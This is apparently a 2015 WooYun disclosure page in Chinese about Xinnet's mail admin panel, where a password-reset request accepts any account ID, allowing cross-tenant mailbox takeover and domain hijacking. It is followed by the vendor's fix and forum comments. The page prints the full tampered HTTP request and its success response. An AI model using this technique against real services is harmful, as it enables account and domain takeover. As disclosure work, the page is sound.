当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0121113

漏洞标题：新网某漏洞可导致劫持任意域名二

相关厂商：新网华通信息技术有限公司

漏洞作者： 鸟云厂商

提交时间：2015-06-17 14:42

修复时间：2015-08-01 17:54

公开时间：2015-08-01 17:54

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-17： 细节已通知厂商并且等待厂商处理中
2015-06-17： 厂商已经确认，细节仅向厂商公开
2015-06-27： 细节向核心白帽子及相关领域专家公开
2015-07-07： 细节向普通白帽子公开
2015-07-17： 细节向实习白帽子公开
2015-08-01： 细节向公众公开

简要描述：

新网某漏洞可导致劫持任意域名 2，其实是同类型，不同的点。

详细说明：

依然是管理员页面
首先弄一个管理员账号
http://mail.tsmc.com.cn/
测试用户稍后提交完成会删除
问题出在重置密码的功能

CDBF7041-E3BB-49CE-BD7B-66203C8A7A8B.png


随意选一个用户，输入新密码。然后我们抓包

POST /app/eadmin/user/user_edit_pwd HTTP/1.1
Host: mail.tsmc.com.cn
Proxy-Connection: keep-alive
Content-Length: 68
Accept: */*
Origin: http://mail.tsmc.com.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://mail.tsmc.com.cn/app/eadmin/organize/domainAllUsers?flag=all&corp=hy151975&order=asc&orderByName=account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: LASTLOGINACCOUNT=wooyuntest%40tsmc.com.cn; zmail300_language=CN; JSESSIONID=57CA907A6D01EC2493A2324A056B10C8
loginid=liu%40tsmc.com.cn&newPwd=wooyuntest%401&unpwd=wooyuntest%401


把loginid改成要修改密码的邮箱地址，xinnet@xinnet.asia
返回值

HTTP/1.1 200 OK
Server: nginx/1.5.5
Date: Wed, 17 Jun 2015 04:49:38 GMT
Content-Type: application/json;charset=UTF-8
Connection: keep-alive
Content-Language: zh-CN
Content-Length: 15
{"success":"1"}


我们来到http://webmail.xinnet.asia/登录试试
账号xinnet@xinnet.asia 新密码wooyuntest@1
成功登录
依旧管理员权限
根据昨天的漏洞，我依然可以重置xinnet@xinnet.com的邮箱密码
然后进入来达到劫持任意域名的目的
为了不影响厂商业务运行，不再次验证了

漏洞证明：

修复方案：

版权声明：转载请注明来源 鸟云厂商@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-06-17 17:52

厂商回复：

非常感谢鸟云厂商@乌云，小新正在玩命确认及修复中

最新状态：

2015-06-18：漏洞已修复，非常感谢鸟云厂商@乌云

漏洞评价：

评论

  1. 2015-06-17 14:42 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    我操 沙发

  2. 2015-06-17 14:43 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    卧槽，刷榜的这几个人都疯了，我喜欢

  3. 2015-06-17 14:43 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    坐等公开学习

  4. 2015-06-17 14:44 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    NB!

  5. 2015-06-17 14:44 | JiuShao ( 普通白帽子 | Rank:405 漏洞数:94 | ╮(╯▽╰)╭锄禾日当午)

    前排

  6. 2015-06-17 14:44 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    NB!

  7. 2015-06-17 14:47 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    NB!

  8. 2015-06-17 14:49 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1313 漏洞数:146 | 中国菜鸟)

    @浩天 我可不是为了刷榜才发洞啊

  9. 2015-06-17 15:05 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    坐等雷劈，3$

  10. 2015-06-17 15:08 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    是不是内容没写全啊。

  11. 2015-06-17 15:09 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @鸟云厂商 我知道，你是为了正义

  12. 2015-06-17 15:15 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1313 漏洞数:146 | 中国菜鸟)

    @泳少 没有啦

  13. 2015-06-17 15:16 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1313 漏洞数:146 | 中国菜鸟)

    @zeracker 同一个类型导致，但是不同的地方。So

  14. 2015-06-17 18:13 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    是不是发钱发多了

  15. 2015-06-17 20:51 | 黑侠 ( 路人 | Rank:1 漏洞数:1 | 帮助别人，等于帮助自己)

    新网华通信息技术有限公司 漏洞真多，技术员没有安全审计吗？？？

  16. 2015-08-01 20:55 | 子非鱼 ( 实习白帽子 | Rank:31 漏洞数:14 | 联系Q896738539)

    首先弄一个管理员账号(细节呢)

  17. 2015-08-01 21:00 | 鸟云厂商 认证白帽子 ( 核心白帽子 | Rank:1313 漏洞数:146 | 中国菜鸟)

    @子非鱼 github上找去